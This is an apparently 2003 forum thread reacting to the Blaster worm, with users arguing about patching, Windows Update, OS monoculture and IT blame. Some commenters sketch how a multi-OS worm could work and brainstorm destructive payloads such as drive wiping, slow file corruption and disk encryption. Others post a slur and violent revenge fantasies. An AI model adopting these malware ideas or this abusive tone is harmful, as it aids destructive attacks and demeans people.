
I figure that today alone, due to lost productivity, salaries, benefits etc.... this company lost $250k from this worm.

And I ask: When will costs for virus scanners, patching constantly and the lost productivity due to viruses/worms/crackers be mentioned in TCO analysises?

Re:When are people going to wake up?

[CTho9305]

You know, open source software has holes too. What do you suppose the last few apache releases have been for? Remember the openssl worm? The raman worm?

The fact is, whether regular users run windows, OS X, or another *nix, they WILL NOT keep them patched, and as such, it doesn't matter how fast the OSS community finds and fixes bugs as long as people have already installed vulnerable versions.

Re:When are people going to wake up?

[IDIIAMOTS]

I work for 55,000 plus employee company. Our headquaters site has over 36,000 employees. Corporate IT sent out e-mails with links to the patch on July 17th. On July 21st they began running network scans and terminating network connection to unpatched machines, even the ones set up for dual-boot if the inactive partitions weren't patched. There was no interruption of service this week.

There is no excuse for shoddy administration on corporate networks. Perhaps your wife's company should look into hiring IT staff who a.) firewalls the network, b.) proactively enforces the health of their network

Re:When are people going to wake up?

[Firefly1]

..what I would like to see, is when the little punks that write these sorts of things get caught, the companies like your wifes that lost time because of the exploit sue the writer of said exploit/worm/whatever, and his mommy and daddy, if applicable, and turn them into refrigerator box residents.

Okay fine. You get to tell the parents of said individual (if applicable) that although they have committed no crime, you're going to in effect take everything they own and cast them out onto the street. That's not justice in any sense of the word, no.

Funny

[swat_r2]

I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!

I read that this morning and smiled, at least these hidden easter egg messages have a bit of humour to them :)

Of course I wasn't so happy when the workload resumed and I was left with a nice deal to clean up.. but.. thanks for the couple hours of coffee break?

What make Windows 2003 so secure?

[Da Penguin]

I keep hearing that windows 2k3 is the most secure windows, but (and I'm truly asking), what makes people say so? I'm using it at home. Evidence for: logs changes, logs every reboot and needs you to enter a reason, insists that every site (including google) has a security issue, comes with almost everything disabled, doesn't let users use shockwave et al without permission, probably some bug fixes. Evidence against: see the article above. At least it informed me afterwards that the computer unexpectedly rebooted . . .

PS: Please don't mod me for flaming, I'm really wondering what inner changes there are, other than the ones above that give the impression of security.

Re:What make Windows 2003 so secure?

[MeanMF]

I'm really wondering what inner changes there are, other than the ones above that give the impression of security

Besides the default-lockdown mode, they supposedly did a review of the entire operating system looking potential security holes like buffer overruns. There's an awful lot of code in Windows though, and it's hard to know exactly how thorough that review was - especially since they missed this one. Time will tell.

Re:What make Windows 2003 so secure?

[westyvw]

Well everything off is a good idea for a server. YOU should make the choices to turn anything on, and YOU should know why you did. The port this worm attacked has no justification for the home user. This is the same port that annoys most users of Win XP, but they dont know it. The only reason MS should have allowed this to be turned on was for administration on a LOCAL network.

By the way I can make win 2003 server crash in minutes if I am allowed to be a user on it. Shame, its not that much better, but leaving ports closed is a good idea, and a long idea comming.

Re:What make Windows 2003 so secure?

[Anonymous Coward]

It installs with just about everything turned off, instead of turned on.

It is also the first version of Windows that had teams of programmers whose sole purpose is to audit code and check it for security problems. Sweeps for coding patterns that lend themselves to exploitable bugs were done. Utilities were written to help flag suspicious bits of code. And so on ... time will tell how effective the changes were.

Re:What make Windows 2003 so secure?

[Vanieter]

That's already a pretty good thing - just look at the Debian way. If you don't need a service, turn it off and turn it on ONLY if you need it. I wonder where Microsoft got the idea of the uber-lockdown from ...
[=

Re:What make Windows 2003 so secure?

[Malc]

Huh? Which version of Debian do you use? The default install tries to install a load of stuff at the dselect step that really isn't required on a production server.

Re:What make Windows 2003 so secure?

[Anonymous Coward]

to get rid of the annoying IE security crap go into add/remove programs then windows components and remove the IE enhanced security configuration (or something like that)

Re:What make Windows 2003 so secure?

[Vanieter]

But is it installed by default on a Woody ?
Nope.

Re:What make Windows 2003 so secure?

[ameoba]

Did they fix the bug in NT-based systems that makes them crash when printing tabs followed by backspaces?

Re:What make Windows 2003 so secure?

[realnowhereman]

You mean dselect the tool that lets you as the user select a load of stuff that isn't needed on a production server? If you didn't want that stuff installed don't install it.

Personally I always skip the tasksel and dselect stages in a debian install anyway. then

apt-get install aptitude less hdparm wget ssh rsync tree

And i have one minimally configured system ready to go.

Re:What make Windows 2003 so secure?

[StormReaver]

Let's not forget that Microsoft -always- claims that whatever it's currently selling is the best and most secure version that it's ever made.

NT was the most secure Windows ever made.

95 was the best Windows ever made.

98 was the best Windows ever made.

2000 was the best and most secure Windows ever made.

XP was the best and most secure Windows ever made.

2003 is the best and most secure Windows ever made.

And all those claims could be defended, as each successive Windows fixed past vulnerabilities (with subsequent service packs sometimes reactivating the same vulnerabilities) and made some minor improvements.

However, no version of Windows has come even remotely close to being secure, even if you disable all network services configurable by users.

Having never used Win2003, I can confidently assume that it will be little, if at all, more secure and reliable than any past version of Windows. Keeping logs telling you that you've been screwed rather than taking steps to keep you from being screwed in the first place is not an improvement.

EA Vancouver went down ...

[doublesix]

A friend who works at blackbox told me "hundreds" of computers shut themselves down at EA Studios out in Burnaby this morning ... HA HA

Good thing that no serious company uses Windows

[Anonymous Coward]

I mean... who on Earth would expose a Windows machine to the internet...

Troll or not... it seems to be just common sense with 8 years of data to back it up.

Monoculture

[the eric conspiracy]

One of the downsides to having just one type of OS is that it makes you very vulnerable to this sort of thing.

As far as blaming people who haven't patched their computer, I can't see it. This thing is hitting home dialup users fer crying out loud - my friend had to drive over to his dad's house to disinfect a machine. You can't expect everybody's grandmother to behave as a professional sysadmin.

Re:Monoculture

[Anonymous Coward]

Even if you're not an admin, Windows XP by default pops up little notices saying there are updates, and installing them is literally two mouse clicks away. Yet people still don't do it.

I'm all for Microsoft making the DEFAULT behaviour to be to download and install the patches without updating. If you're the sort of person that would object to that, then you're the sort of person that can figure out how to turn it off.

Re: Monoculture

[Black Parrot]

> I'm all for Microsoft making the DEFAULT behaviour to be to download and install the patches without updating.

In principle, yes, but...

a) Would Microsoft (or any other company) be willing to accept the legal liability?

b) How long until someone highjacks that very mechanism as a way of spreading grief?

Re: Monoculture

[Black Parrot]

> One of the downsides to having just one type of OS is that it makes you very vulnerable to this sort of thing.

Everyone says that, but does it really? If all OSes and their associated software had easy exploits, would it really be that hard to write a polymorphic worm?

> As far as blaming people who haven't patched their computer, I can't see it. This thing is hitting home dialup users fer crying out loud - my friend had to drive over to his dad's house to disinfect a machine. You can't expect everybody's grandmother to behave as a professional sysadmin.

So true. That's why it's important to design OSes and user software for safety rather than for a faux ease-of-use. I hope the GNOME and KDE hackers and other FOSS writers are seeing the right message in this.

Re:Monoculture

[Anonymous Coward]

"You can't expect everybody's grandmother to behave as a professional sysadmin."

Jesus. Start->WindowsUpdate. Anyone that has done that since July16 has no problem. Doesn't take a "professional sysadmin".

Re:Monoculture

[Anonymous Coward]

The sad fact is that the little popup is made moot by M$'s lame default behaviour settings.

1) They use that lame ass popup for everything so by the 100th time you've seen it you dont pay attention to it anymore.

2)99% of the time it autohides the icon instantly after the popup, so by the time Joe/Jane dumbass see the notice the icon is gone and they don't know WTF is going on.

At the very least M$ should make the popup red or green or SOMETHING that attracts attention not "post-it note yellow".

Or they could do like apple and popup a bigass window when something is available to download. In OSX when software update runs it load a big window which says to the user, "Hey look! Look at me! STUFF TO DOWNLOAD!!"

Today i watched someone completely ignore the Windows automatic update notification. I was talking with some other people in the office and she was working on the PC and it didn't even register to her. This is an M$ problem not a user problem. When you sell PCs at the price a 12 year old could buy with their allowance and an OS of swiss cheese its M$/Dell/Etc.'s problem to make the system idiot proof instead of just expecting Joe Sixpack not to be a moron.

Re:Monoculture

[Anonymous Coward]

"Today i watched someone completely ignore the Windows automatic update notification. I was talking with some other people in the office and she was working on the PC and it didn't even register to her"

In your office the employees admin their own systems?

Re: Monoculture

[name773]

i've heard somewhere that the next microsoft version allows them [gates & co.] to erase illegal media from your hard drive.... lol that's gonna be one heck of an article

Re:Monoculture

[Meorah]

You can't expect everybody's grandmother to behave as a professional

...unless you are trying to get them to switch to linux on the desktop.

Re:Monoculture

[name773]

just one type of OS wouldn't it be cool if they made 10 OS's and every one had the same front end but a different back end? just speculating, but we could start with what's out there.

Re:Monoculture

[Anonymous Coward]

That's why the little "update" icon appears in the system tray, and pops up a box saying "THERE ARE NEW UPDATES FOR YOUR COMPUTER!" I'm not a real Microsoft fan, but you really can't say it's hard for people to know there's a patch. It's not even hard for them to install it. That's about the one thing Windows has going for it... automated usability.

Re: Monoculture

[Anonymous Coward]

Everyone says that, but does it really? If all OSes and their associated software had easy exploits, would it really be that hard to write a polymorphic worm?

It would be harder than writing one that wasn't, and that's all that counts.

Re: Monoculture

[watzinaneihm]

Everyone says that, but does it really? If all OSes and their associated software had easy exploits, would it really be that hard to write a polymorphic worm?
Let me try to give an analogy. Ofcourse this deosnt prove anything but still....
In nature , when we have a monoculture, they are easily wiped out by new diseases (exception:Humans). But when we have different species there are small number of virii which infect multiple species, except when they are closely related (Lot of exceptions, rabies, smallpox, plague(?) etc. )
So this should hold true for Software when software gets relatively complex. Consider QNX to be an insect and Linux to be an elephant, difficult to have a common virus (ofcourse natural virii are, well , natural, computer viruses are artificial and are probably comparable to genetic engineering).
Another thing about OSes are that vulnerablities are discovered on different OSes at different times. there is a short timespan when there are unpatched machines across OSes (or before a relatively simpler single OS virii wipes them out), so it is a lot more difficult.

Re: Monoculture

[mslinux]

> One of the downsides to having just one type of OS is that it makes you very vulnerable to this sort of thing.

Everyone says that, but does it really?

Yes. If every human being had genes that invited diseases like down syndrome or sickle cell anemia then those disorders would be much more common. It's really that simple.

NT/2000/XP have the same genetic code (code base). Unless that code is somehow an anomally (different) then it's an easy target. Measures such as host-based FWs (Zone Alarm) can be bolted on to the system to prevent it from coming in contact with untrusted systemd that might contain the disease, but these measures don't protect againts trusted systems that have the disease (similar to catching a cold from your brother or sister).

The answer really is diversification. OS X, Linux, BSD, Solaris, etc.

Re: Monoculture

[Black Parrot]

> > Everyone says that, but does it really? If all OSes and their associated software had easy exploits, would it really be that hard to write a polymorphic worm?

> It would be harder than writing one that wasn't, and that's all that counts.

Surely not all that hard? And even if it would be harder than I imagine, as soon as some guru writes one someone else will turn it into a kiddie-friendly kit that lets relatively incompetent parties insert the exploits of their choice. I would be very surprised if such a thing isn't already lurking out there.

IIRC the famous Morris Worm had infrastructure for about 10 different UNIX exploits, though only one or two were actually implemented. A polymorphic worm would use the same idea, except probe for and exploit holes in multiple operating systems instead of multiple holes in a single operating system.

Clearly the code or script that runs under OS A will not run under OSes B and C, but when the worm runs under A it just treats the code for B and C as data to be uploaded when an exploit is found. So you probe a machine to see what kind of OS it is running, use a lookup table to see what exploit(s) to try for that OS, try to get in, and if you do you upload all the "data" and then tell the remote system which part of the "data" to execute, depending on which kind of OS it is. It is then running on the remote system, and very scarily has all the "data" that it needs to propagate to any of the other "supported" OSes, in addition to OSes like itself.

IANAWormWriter, but it seems to me that the challenge of implementing a polymorphic worm would be more a matter of patience than of brain power. You would have to write/compile the control logic described above for each of the target OSes, but the logic is pretty simple and the exploits you want to build in to it are presumably already available where ever kiddies get this stuff.

Re: Monoculture

[Black Parrot]

> In nature , when we have a monoculture, they are easily wiped out by new diseases [...] (ofcourse natural virii are, well , natural, computer viruses are artificial and are probably comparable to genetic engineering).

And that's precisely why I don't find the monoculture argument convincing. All computer viruses/worms are the result of "engineering", so all that's needed for a polymorphic virus is a bit of additional engineering to support the polymorphism. See my armchair example design posted elsewhere in this thread.

> Another thing about OSes are that vulnerablities are discovered on different OSes at different times. there is a short timespan when there are unpatched machines across OSes (or before a relatively simpler single OS virii wipes them out), so it is a lot more difficult.

Good point, but not necessarily a show-stopper. I suspect the average Linux system is more patched than the average Windows system, but I also suspect that that's just a relative improvement. Considering how often we get warnings to upgrade (say) SSL, surely there are thousands if not millions of not-professionally-managed Linux systems out there still harboring a theoretical vulnerability that's many months old?

However, I would agree that a worm that attempted (say) 5 independent exploits against Windows would disrupt the net more than a similar worm that attempted exploits of 5 different OSes. That looks like a monoculture issue until you realize that breaking up the monoculture just changes the relative disruptiveness of those two options.

Re: Monoculture

[pjrc]

If all OSes and their associated software had easy exploits, would it really be that hard to write a polymorphic worm?

Consider for a moment, if you will, that this particular worm exploits the same hole in Windows 2000 and XP, but it only works as the author intended on 2000. XP machines (reportedly) do not propage the worm and instead reboot in 60 seconds.

So while it may in theory be possible to write a cross-platform worm, in practice this real-world worm doesn't even successfully progate on very similar systems from the same vendor, using largely the same code base, with the same exploit.

Re:Thanks for nothing.

[Gherald]

When they find the Linux users who did this I hope they lock them up and throw away the key.

So all someone has to do is dislike Gates and Microsoft, write an Windows virus, and they are automatically considered a Linux user?

Cool.

the enemy of my enemy is my friend etc...

[kgbspy]

If this was a "pro-linux" motivated attack, then surely this troublemaker's attentions would've been best directed at sco.com rather than windowsupdate.com, no?

Re:This sucks... (Engagement ring)

[wavecoder]

First off, congratulations! Secondly, though, that's just the point: it is a $100 rock. This is what happens when somebody gets a monopoly - De Beers undersold everyone, then jacked the prices to the moon, and nobody bothered to try to stop them until they owned the market. In fact, most of their major execs can't set foot in the U.S. without getting arrested for racketeering, anti-trust violations of all stripes, etc...

Power corrupts; absolute power corrupts absolutely.

Re: MICROSOFT IS AWESOME

[Black Parrot]

> microsoft rules linux sucks get over it gay linux faggots

Yeah, Linuxers are just jealous because this software won't run on their systems.

When will they learn?

[devphaeton]

Seriously. Governments and businesses. Every time a pimply faced half-hack writes a new $krYp+ to take down the stand-up comedy act that is Windows Security....

"Blame the admins for not patching when patches were available"....

This has some merit, yes. *BUT* has anyone ever adminned a server that must be up 24/7? If you've got a whole room full of them, you just don't have the time to go in and manually apply patches. Yet, automatic Updates pose another problem: You probably just can't have a MSSQL server doing unexpected reboots all the time. You can lose data, what if the patch breaks something? etc.

And even after all the patches and fixes (we're sidestepping the Microsoft "patch one hole, open 3 others" issue for the moment), stuff still happens. Servers get knocked over. Look how many times it's happened in the last 12 months.

For home users, a disabled computer is a bummer, sure. But for businesses and governments, when will they simply decide that "This Just Cannot Happen Anymore."? Seriously. We're talking lives, national security, and huge amounts of money at stake here.

The alternatives are out there. I know, you know, and /. knows.

We all know that Linux, Solaris, *BSD and the like are not 100% perfect /either/... We also know that *any* poorly adminned box is a deck of cards, but C'mon! look at the vast canyon of difference, just in how installations come out of the box!

When will they learn? Seriously! I think it would make better business sense (read: make more money in the long run) to look away from Microsoft and look towards other Free(software) and Commercial products. /me gets off soapbox again.

Fwiw, when i booted up my WintendoXP box to download the patch, i got nailed before i got to type a URL into the browser!!

C'MON!! AT LEAST GIMME A CHANCE, DAMMIT!!

Re:When will they learn?

[foniksonik]

"Linux, Solaris, *BSD"

dude you forgot Mac OS X... runs Office... ;-p no virus.... save your antivirus tax and invest in Virtual PC.

Re:When will they learn?

[devphaeton]

Well, i was mostly referring to server-ware, but sure OS X too.

It took out more than MD and PA agencies

[Anonymous Coward]

I work in IT for the Department of Transportation in TX. Today, around noon, we suffered state-wide outages. It would have been easy to prevent- we have the tools to automatically deploy patched and updates to every computer on our network. Unfortunately, the people who have the necessary privileges to use do so, didn't.

My section was not affected, because I took it upon myself to patch the computers I was responsible for. Hundreds of people in my building were unable to use their computers for half the day. My section had problems because the servers we rely on were infected.

I hope (in vain) that 'little' problems like this will teach system administrators to keep their machines up to date.

Virus

[Hatechall]

Here at Drexel University our lab computers have been effected, and we couldn't access our data properly. The funny thing is that our president (Pappy) today was right outside with three segways touting out technological proweress, rolling along to Born to be Wild blaring in the background. All the tech in the world doens't matter if you don't use it right.

So are you implying

[Gherald]

..they are an "ordinary asshole," as opposed to an asshole "trying to get people to switch to Linux" ?

Re:So are you implying

[Raven42rac]

I am leaning toward "asshole bent on Microsoft making more secure software, which give them a little credit they are a little, but not well enough to my liking" asshole.

Re:So are you implying

[Anonymous Coward]

Everyone knows that GNU\Assholes are better...

Re:So are you implying

[tsa]

Your sig is OLD!

This Is All Over

[Farley Mullet]

A friend of mine spent the entire afternoon patching machines in his department at the university where he works, because their IT guy is on vacation this week. And the entire finance department was sent home for the afternoon while their system was patched up.

I know that the ~3 weeks that the patch for the RPC vulnerability has been out for isn't a huge amount of time to test things, but with a vulnerability of this scale, it's really incumbent upon IT people to get networks patched quickly, and it really reflects poorly on the IT department of any organization that gets hit, if you ask me.

Misinformed users

[KamuZ]

Hello I believe the RPC vulnerability it's a great risk, but lets says that Microsoft had another similir vulnerabilities (IIS?). THe big rpbolem here it's the users and the sysadmins witch a lack of knowledge or the actitude "i believe everything in Norton's site". I remember a few weeks then it came out the RPC vulerability, sites like antivirus.com have it in "Low risk". Another example it's the people who rowks on my school, there are several sysadmins (like 4) and they sent an email about using a firewall, and that will fix the problem. I mean, you need to apply patches... you NEED to deploy fix tools, but no. Maybe it's not government, but come one, you can get a shell with the vulnerability too in a profesor computer, student's paradise? maybe. This misinformed users because of bad admins, it's like virus' hoaxes in E-mail...

when oh when

[b17bmbr]

will they learn? this is our tax money at work. holy crap. we must demand better. can the cost of linux transition really be more than all the windows problems?

The popular media...

[Nick Driver]

... has already been referring to it as the Windows worm (or virus).

Re: The popular media...

[Black Parrot]

> ... has already been referring to it as the Windows worm (or virus).

I think that has been a growing trend over the past year or so. But it does seem to have hit saturation this time around; I don't recall hearing any newscaster fail to describe it as a Windows problem.

The Virus Writer left a message.

[DRWHOISME]

Heard it on Cnn. Said something like "Bill Gates why do you let this happen".

Pretty funny.

windowsupdates.microsoft.com sure was slow today

[Anonymous Coward]

That Microsoft update website (the first thing I go to after the rare occasion of me rebooting to my windows partition) was slow a syrup today. It seemed rather odd, but I assumed that it was due to load.

Unbelievable

[veldmon]

This is the operating system most of the computers in the world use? It's truly telling mostly about the economic system that drives this world we live in. I am absolutely convinced that the U.N. should mandate the outlaw of software patents, multi-national corporations, and proprietary software.

This would certainly eliminate the deplorable labor conditions in the third world, as well as fix the awful problem of homogenous computer environments (i.e. M$ dominated networks).

Re:so what

[Anonymous Coward]

No its bad software compounded by lazy sysadmins...

Got one thing right

[Honor]

they got one thing right when they wrote it - Billy Gates why do you make this possible? Stop making money and fix your software!! . yea, its a huge pain now, but think of it this way - either microsoft realizes it needs to fix its problems and does so, or microsoft dies due to the worm. it's a win-win situation :)

Windows Update feelin' it

[pctainto]

I'm trying to get on Windows Update right now (I was already patched, but, just routine patching -- flame away). Its running really slow... probably because of this virus. hah. sucks to be you

Can't be....

[Pro_Fucker]

That's impossible... Windows XP is the most secure OS in the world... This is just an illusion...

Philadelphia

[phillymjs]

The 10pm news here in Philly interviewed one of the city's IT guys. He stuttered and stammered his way through the whole thing, and looked to me like a man afraid for his job as he claimed that there was "no warning and no way to be prepared for this"-- not a verbatim quote, but close enough.

I think the guy is right to be afraid for his job-- he's pretty damned incompetent to have not heard about this. This vulnerability was quite publicly announced weeks ago, and Microsoft's page with the patch is dated July 16. Even Homeland Security released a bulletin, and I'd hope that if nothing else those would get around in a city government that is supposed to maintain a level of disaster-preparedness.

Then again, this being Philadelphia, that guy likely got his job through patronage and wasn't qualified for it in the first place.

~Philly

Re:Philadelphia

[sammaffei]

This Slashdot readng Phila resident says:

AMEN!!!!

Re:Philadelphia

[JimC93SW2]

I have worked in government IT shops including that one (back in the 1980s), the Department of Defense, and also for many Fortune 500 corporations in the years since. I have worked with computers since the 1970s, including mainframes, minicomputers and PCs. There is no question in my mind that the hardest IT environment to work in is local government. They haven't been able to hire any new people since I left in the 1980s, although many have retired or (like me) moved on. If you think that downsizing and tight budgets are a problem in your corporation the past 3 years, how would you like to work in an environment where the budget and staffing has been going down for over 20 years? I just love all the smart remarks from folks here who manage to keep their personal PCs up to date (just like mine) on Windows update and have all the latest software, including Anti Virus protection. Until you have experienced working in a place where some of the equipment is older than you (and some of those city workers have been keeping things going on a broken shoestring for more years than many here have been alive) don't assume that you are smarter than everyone else in the real world, where you can not take old but critical systems down for the latest patch from Microsoft every week.

Re:Thanks for nothing.

[xxltjx]

Well than...that must make me a freaking linux genius! :-)

The funniest part (IMHO) is...

[BurKaZoiD]

...that I'm a damn programmer, and my system was secured from this exploit (due in large part to my overly paranoid nature), but the workstations belonging to my depts microcomputer support & network manager were all vulnerable and hit. Dumbasses. I spent my entire morning trouble shooting, patching, and fixing the workstations belonging to my office's higher-ups & executives (I was specifically requested by them, I might add), while the network & micro fucktards ran around fixing the computers of the no-counts. Needless to say, I pissed off a lot of people today, but thank God they aren't the ones who sign my check.

I look at the never ending laziness of network support as continuing to supply me with the opportunities to secure my employment. Also, the thank you email from the prez really gave me a chubby.

Re:The funniest part (IMHO) is...

[theflea]

I'd be pissed too. Anyone with their "ear to the ground" would have seen this coming 3 weeks to 1 month ago.

This worm requires unpatched workstations and ports that shouldn't be open in order to propagate.

Granted, anyone with an infected laptop could bring this virus into your workplace, but still, security experts have been vocal about a worm of this type being iminent.

I've noticed this with all the really bad worms lately. Seems like there are at least two conditions that must be met for them to propagate. And none of the conditions should have existed in the first place.

Sometimes I think that unpatched machines on home broadband connections are why these worms spread so fast. But then you hear about simple worms getting past so-called "professionals" at companies where they should know better.

Windows Update??

[Anonymous Coward]

Is it just me, but AFAIK this was NOT a part of Windows update

It seems you have to go to
http://www.windows.com/downloads/
to download the patches

On another note I have had 2 Windows installations die in the last 2 weeks after failed Windows updates

What a POS OS!

Re:so what

[toomuchPerl]

I'm not really sure how to feel about your comments.

If something like Lycoris were on 95% of computers out there, where everyone runs as root, maybe some more sploits WOULD occur.

However, assuming that the damned distros that made it onto 95% of computers out there were just secure out of the box (eg. you don't need any damned services running by default as a desktop user, there's no reason for this vulnerability on Windows!) then this would never happen on Linux, or any other Unix for that matter.

Also, this is not a virus, it's a worm. Viruses have been shown to be pretty much harmless on Linux, because of the fact that they would have to have exploits and such things coded into them to be really really effective. Linux worms have been exceedingly rare anyway, compared to Windows.

-toomuchPerl

Re:MICROSOFT IS AWESOME

[Anonymous Coward]

Yeah, we've surely seen to what extent microsoft rules... Personally I run linux, and couldn't care less for the losers running windows...except for the fact that their fucking OS has managed to clog down the entire internet. High five to BillG. Even when running a proper OS, I have to deal with the effects of lamers running windows in their parents basement

Re:Windows rules.....obviously

[Anonymous Coward]

Sorry, but if you think Windows' market share is an unsolved mystery, then you're the perfect example of an open/free software advocate who has no clue about how the real world works.

I honestly don't mean to be nasty about this, but the entire open/free community really needs to understand mainstream and business users far better than they do if Linux has any hope of making serious gains in those areas beyond the small server market.

Patches were *not* available on the update page

[Phoenix]

And I know this for a fact. I had a machine that I re-loaded XP on for a customer since he was upgrading his mootherboard. Friday I finish the windows load and I install all the patched available on the update page. Ran it once to get the first 80Mb of patches, ran it to get Media Player 9, ran it again to get the security patch for Media Player 9.

That's everything on the update page.

Installed Norton AV 2003 and got all the updates available as of last Friday. After doing that one would have a reasonable expectation of being safe against a problem, especially since the problem was discovered a full month ago.

Monday the customer called with the machine giving a 60 second countdown and rebooting.

Now even if the people at the MVA and other places *did* the updates from the updates page, they'd still be screwed.

All I want is these virus programmers, their fingers, a ball-peen hammer and 5 minutes...it's all the time I'd need

Re:Patches were *not* available on the update page

[LibertineR]

Yes they were, you should be fired.

Re:Patches were *not* available on the update page

[Anonymous Coward]

they did not get applied by running windows update
trust me

they were available, granted
but you had to apply them yourself

100% of poeple are not technical enough to think of that

Re:Patches were *not* available on the update page

[Anonymous Coward]

All I want is these virus programmers, their fingers, a ball-peen hammer and 5 minutes...it's all the time I'd need

5 minutes?!?! All I need is 60 seconds. The same 60 seconds they gave us...

Re:Patches were *not* available on the update page

[Anonymous Coward]

So you put their machine on a direct connection to the internet with no firewall? Thanks to assholes like you any kid on IRC can gather together thousands of machines and DDOS my web site. Thanks.

Re:Patches were *not* available on the update page

[Anonymous Coward]

Windows Update worked fine for me.

You must have some problem between the keyboard and the chair.

I just love it when slashbots think they are so much more intelligent than the masses, then something completely simple like Windows Update completely befuddles them. What do you expect from people who don't know the difference between "then" and "than"?

Re:Patches were *not* available on the update page

[CubicDDD]

Stop your FUD, they were *NOT* available via Windows Update. Maybe they were there over the weekend, but that would be a little late, don't you think?

M$ knows about that problem how long? They had a patch for how long? And it was available on Windows Update for about 3 days.

3 days (over the weekend) is a little bit too short.

Re:Patches were *not* available on the update page

[evilviper]

All I want is these virus programmers, their fingers, a ball-peen hammer and 5 minutes...it's all the time I'd need

You shouldn't be so hard on virus writers. If anyone wanted to, they could create an incredibly nasty bug, that makes these annoyances look plesant by comparison.

Simple things work well... Delete all contents off of hard drive after successfully infecting one dozen other computers. Even better would be to gradually corrupt non-system files for a long period of time. Your corrupted files get backed-up, and you probably won't notice for some time, probably until your last good backups have been roated back in.

What would be fun to see, though, is a virus that encrypts your entire hard drive, and only if the virus is run at boot is you system able to decrypt it... eg. Your system will work fine if it is infected, but once you remove the virus, you can't access the data on your hard drive any longer.

Also, there are a few nasty hardware things they could do as well. Maybe a virus that does a lot of taxing hard drive reads, to try and kill it as quickly as possible. Maybe maxing-out other hardware, processor, modem, nic, etc. Or maybe it can take advantage of your CD/DVD recorder, and try to erase every disc you put in the drive...

If you've got a hammer and 5 minutes anywhere you want, I suggest you use it at Microsoft headquarters. That's the only way to put an end to this.

Re:Patches were *not* available on the update page

[Dahan]

Windows 2000 and Windows XP have this useful automatic update feature, which I have it set to automatically download, then prompt me to install. I installed the patch described in KB article 823980 via the automatic update on July 17, 2003 20:08:50 CDT. Since I didn't go to http://windowsupdate.microsoft.com/, I won't make any claims as to whether or not the update was listed there. However, I have not seen any update pop up in my task bar that wasn't already on Windows Update; it's usually the other way around--critical updates are listed on Windows Update for a while before they're pushed out as automatic updates.

Re:Patches were *not* available on the update page

[TrancePhreak]

Successful Wednesday, July 16, 2003 Security Update for Windows XP (823980) Web site
Buffer Overrun In RPC Interface Could Allow Code Execution (823980)
W32.Blaster.worm

Re:Patches were *not* available on the update page

[TrancePhreak]

I've had this patch since July 16th. Perhaps you just overlooked it as there was no mention of the worm.

Re:Patches were *not* available on the update page

[0xA]

You might have installed the patch and still got hit with the worm. I know this happened to one of my clients Win 2000 servers. I set it up about 3 weeks ago, I _know_ I installed that patch, I made a point of it as the RPC vulnerability scared the shit out of me. When I looked last night, it was infected.

With something like this it is pretty easy do "undo " the patch by installing something else afterwards. For the life of me I can't figure out what would have changed the RPC service, I suspect exchange.

Shit happens man, this is not the first time I've seen this.

Re:Patches were *not* available on the update page

[Anonymous Coward]

It wasn't on Windows Update unless you're at the latest service pack. Most of us are justifiably skittish about service packs, what with their tendency to utterly fuck you over.

Re:Patches were *not* available on the update page

[Phoenix]

"So you put their machine on a direct connection to the internet with no firewall? Thanks to assholes like you any kid on IRC can gather together thousands of machines and DDOS my web site. Thanks"

Fuck off! If there's anything nearly as bad as the virus writers it's cocksmokers like you that make assumptions you can neither prove nor disprove, then attack posters i nthe /. forums based on them.

Not that it's any of your goddamn concern but when that machine was plugged into *our* network it was behind (as is the rest of our network) a Symantec Firewall/VPN appliance that has has it;s firmware updated every damn time a new one comes out. I do what I can to make sure that when the computer leaves my shop it is clean, patched and as secure as I can irregardless of the security holes.

You want to blame someone? Blame the *customer* who hooked it up to Comcast *after* he got it from me. Blame Comcast for selling modems but no fucking security methods of any type.

Why do people like you exist? Are your lives so devoid of happiness that you have to spread misery to everyone else? Have you nothing better to do in your lives that you have to hang around on a public forum and heckle anyone who comes along for no better reason other than someone posted something that you can use as a hook for an attack?

Unplug from the computer, go outside (you know, the "big blue room with the really high ceiling"), and get a life...please dear GOD get a life.

Re:Patches were *not* available on the update page

[Phoenix]

*I* should be fired?

That's rich

Why me? Why not:

The person(s) at Microsoft who code software with holes big enough to fly an L-1011 through?

Or, the people at Microsoft who are supposed test the software and make sure that thier products (that they advertise as secure) are as secure as they can make it

Perhaps the people at Microsoft who push out the software onto the shelves before it's secure.

Then there's the people who are supposed to document the security holes and make sure that the patch is available to the world in an easy to find format.

Also on my "Fire the bastard nomination list" is the person(s) who are supposed to maintain the Windows Update Page and make sure that all the patches (and I think that it qualifies as a critical update) are available for everyone home and small business user that doesn't have a subscription to Microsoft's Monthly Technical Update CD's.

Lets face it. The critical update for this patch hit late friday afternoon. The computer in question was released to the customer on Friday morning. It came too late.

And yes I saw articles on /. saying that there's another security hole, but then scarcely a day goes by that there isn't one. Frankly I'd be surprised if there weren't more people like me who roll thier eyes at the article headline and make a mental note to run the windows update when we get done reading /.

You want to place the blame? Place it on where it really belongs please...Microsoft for opening the holes and the hacker wannabees that exploit them for thier own sick pleasure.

Re:Patches were *not* available on the update page

[JKR]

I personally installed this patch on a dozen machines here nearly 3 weeks ago from Windows Update, so it was most definitely available. There has been a report that installing it alongside other patches can result in the fix not being installed correctly, however. I can't say I noticed that happening here.

Jon

Re:Patches were *not* available on the update page

[A_Non_Moose]

And I know this for a fact. I had a machine that I re-loaded XP on for a customer since he was upgrading his mootherboard.

/subtle humor ahead

I didn't know *Gateway* boxes could upgrade mootherboard.

/bad pun ahead
I thought they tried to *milk* those boxes for all they were worth.

hope everything is *hunkey-dairy*

Hey, at least I'm not posting this as an anonymous *cow*ard...

hehehehe.

Re:Patches were *not* available on the update page

[fizbin]

Ah, the "Well, it worked fine for me so you must be a complete fucking idiot" line. Because of course we know that all software components work them same way for everyone, every time, regardless of the surrounding software environment.

Might I suggest that the evidence is now relatively clear that: 1) this patch was visible on windows update only to systems which had the right number of service packs applied, and 2) even then, subsequent patches could undo the fix this patch contained?

I'll grant that you probably spend much of your time in a position where PEBKAC is a valid initial working hypothesis. However, might I suggest that slashdot is a slightly different environment, and therefore it might make sense to modify the initial hypotheses you employ?

Re:Patches were *not* available on the update page

[Anonymous Coward]

All I want is these virus programmers, their fingers, a ball-peen hammer and 5 minutes...it's all the time I'd need

Better yet, these virus programmers their foreheads, a lucern hammer and 5 seconds. Leave a lasting impression on their puny minds.

Re:Patches were *not* available on the update page

[Piquan]

What would be fun to see, though, is a virus that encrypts your entire hard drive, and only if the virus is run at boot is you system able to decrypt it.

